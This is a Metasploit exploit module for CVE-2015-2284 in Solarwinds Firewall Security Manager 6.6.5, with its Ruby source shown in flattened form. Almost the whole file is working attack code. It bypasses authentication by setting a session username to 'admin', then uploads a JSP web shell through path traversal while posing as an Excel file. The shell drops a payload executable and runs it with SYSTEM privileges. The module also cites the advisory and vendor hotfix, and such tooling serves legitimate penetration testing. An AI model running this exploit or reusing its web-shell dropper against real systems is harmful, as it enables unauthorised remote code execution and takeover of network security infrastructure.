##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::
EXE
include Msf::Exploit::FileDropper
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability"
,
'Description'
=> %q{
This
module
exploits multiple vulnerabilities found
in
Solarwinds Firewall Security Manager
6
.
6
.
5
. The first vulnerability is an authentication bypass via the Change Advisor interface
due to a user-controlled session.putValue
API
in
userlogin.jsp, allowing the attacker to set
the
'username'
attribute before authentication. The second problem is that the settings-
new
.jsp
file will only check the
'username'
attribute before authorizing the
'uploadFile'
action,
which can be exploited
and
allows the attacker to upload a fake xls host list file to the
server,
and
results
in
arbitrary code execution under the context of
SYSTEM
.
Depending on the installation, by default the Change Advisor web server is listening on port
48080
for
an express install. Otherwise, this service may appear on port
8080
.
Solarwinds has released a fix
for
this vulnerability as
FSM
-v6.
6
.
5
-HotFix1.zip. You may
download it from the
module
's References section.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'rgod'
,
# Original discovery
'sinn3r'
# Metasploit
],
'References'
=>
[
[
'CVE'
,
'2015-2284'
],
[
'OSVDB'
,
'81634'
],
[
'ZDI'
,
'15-107'
],
],
'DefaultOptions'
=>
{
'RPORT'
=>
48080
# Could be 8080 too
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Solarwinds Firewall Security Manager 6.6.5'
, {}]
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
'Mar 13 2015'
,
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'TARGETURI'
, [
true
,
'Base FMS directory path'
,
'/'
])
],
self
.
class
)
end
# Returns a checkcode that indicates whether the target is FSM or not
def
check
res = send_request_cgi(
'uri'
=> normalize_uri(target_uri.path,
'fsm'
,
'login.jsp'
))
if
res && res.body =~ /SolarWinds
FSM
Change Advisor/i
return
Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
# Exploit/run command
def
exploit
unless
check == Exploit::CheckCode::Detected
fail_with(Failure::NotVulnerable,
'Target does not appear to be a Solarwinds Firewall Security Manager'
)
end
# Stage 1 of the attack
# 'admin' is there by default and you can't delete it
username =
'admin'
print_status(
"Auth bypass: Putting session value: username=#{username}"
)
sid = put_session_value(username)
print_status(
"Your SID is: #{sid}"
)
# Stage 2 of the attack
exe = generate_payload_exe(code: payload.encoded)
filename =
"#{Rex::Text.rand_text_alpha(5)}.jsp"
# Because when we get a shell, we will be at:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
# So we have to adjust this filename in order to delete the file
register_files_for_cleanup(
"../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}"
)
malicious_file = get_jsp_payload(exe, filename)
print_status(
"Uploading file: #{filename} (#{exe.length} bytes)"
)
upload_exec(sid, filename, malicious_file)
end
private
# Returns a write-stager
# I grabbed this from Juan's sonicwall_gms_uploaded.rb module
def
jsp_drop_bin(bin_data, output_file)
jspraw = %
Q
|<%@ page import=
"java.io.*"
%>\n|
jspraw << %
Q
|<%\n|
jspraw << %
Q
|
String
data =
"#{Rex::Text.to_hex(bin_data, "
")}"
;\n|
jspraw << %
Q
|FileOutputStream outputstream =
new
FileOutputStream(
"#{output_file}"
);\n|
jspraw << %
Q
|int numbytes = data.length();\n|
jspraw << %
Q
|byte[] bytes =
new
byte[numbytes/
2
];\n|
jspraw << %
Q
|
for
(int counter =
0
; counter < numbytes; counter +=
2
)\n|
jspraw << %
Q
|{\n|
jspraw << %
Q
| char char1 = (char) data.charAt(counter);\n|
jspraw << %
Q
| char char2 = (char) data.charAt(counter +
1
);\n|
jspraw << %
Q
| int comb = Character.digit(char1,
16
) & 0xff;\n|
jspraw << %
Q
| comb <<=
4
;\n|
jspraw << %
Q
| comb += Character.digit(char2,
16
) & 0xff;\n|
jspraw << %
Q
| bytes[counter/
2
] = (byte)comb;\n|
jspraw << %
Q
|}\n|
jspraw << %
Q
|outputstream.write(bytes);\n|
jspraw << %
Q
|outputstream.close();\n|
jspraw << %
Q
|%>\n|
jspraw
end
# Returns JSP that executes stuff
# This is also from Juan's sonicwall_gms_uploaded.rb module
def
jsp_execute_command(command)
jspraw = %
Q
|<%@ page import=
"java.io.*"
%>\n|
jspraw << %
Q
|<%\n|
jspraw << %
Q
|try {\n|
jspraw << %
Q
| Runtime.getRuntime().exec(
"chmod +x #{command}"
);\n|
jspraw << %
Q
|} catch (IOException ioe) { }\n|
jspraw << %
Q
|Runtime.getRuntime().exec(
"#{command}"
);\n|
jspraw << %
Q
|%>\n|
jspraw
end
# Returns a JSP payload
def
get_jsp_payload(exe, output_file)
jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file)
end
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
def
put_session_value(value)
res = send_request_cgi(
'uri'
=> normalize_uri(target_uri.path,
'fsm'
,
'userlogin.jsp'
),
'method'
=>
'GET'
,
'vars_get'
=> {
'username'
=> value }
)
unless
res
fail_with(Failure::Unknown,
'The connection timed out while setting the session value.'
)
end
get_sid(res)
end
# Returns the session ID
def
get_sid(res)
cookies = res.get_cookies
sid = cookies.scan(/(
JSESSIONID
=\w+);*/).flatten[
0
] ||
''
sid
end
# Uploads a malicious file and then execute it
def
upload_exec(sid, filename, malicious_file)
res = upload_file(sid, filename, malicious_file)
if
!res
fail_with(Failure::Unknown,
'The connection timed out while uploading the malicious file.'
)
elsif
res.body.include?(
'java.lang.NoClassDefFoundError'
)
print_status(
'Payload being treated as XLS, indicates a successful upload.'
)
else
print_status(
'Unsure of a successful upload.'
)
end
print_status(
'Attempting to execute the payload.'
)
exec_file(sid, filename)
end
# Uploads a malicious file
# By default, the file will be saved at the following location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
def
upload_file(sid, filename, malicious_file)
# Put our payload in:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\
filename =
"../../jsp/#{filename}"
mime_data = Rex::
MIME
::Message.
new
mime_data.add_part(malicious_file,
'application/vnd.ms-excel'
,
nil
,
"name=\"file\"; filename=\"#{filename}\""
)
mime_data.add_part(
'uploadFile'
,
nil
,
nil
,
'name="action"'
)
proto = ssl ?
'https'
:
'http'
ref =
"#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
send_request_cgi(
'uri'
=> normalize_uri(target_uri.path,
'fsm'
,
'settings-new.jsp'
),
'method'
=>
'POST'
,
'vars_get'
=> {
'action'
=>
'uploadFile'
},
'ctype'
=>
"multipart/form-data; boundary=#{mime_data.bound}"
,
'data'
=> mime_data.to_s,
'cookie'
=> sid,
'headers'
=> {
'Referer'
=> ref }
)
end
# Executes the malicious file and get code execution
# We will be at this location:
# C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice
def
exec_file(sid, filename)
send_request_cgi(
'uri'
=> normalize_uri(target_uri.path,
'fsm'
, filename)
)
end
# Overrides the original print_status so we make sure we print the rhost and port
def
print_status(msg)
super
(
"#{rhost}:#{rport} - #{msg}"
)
end
end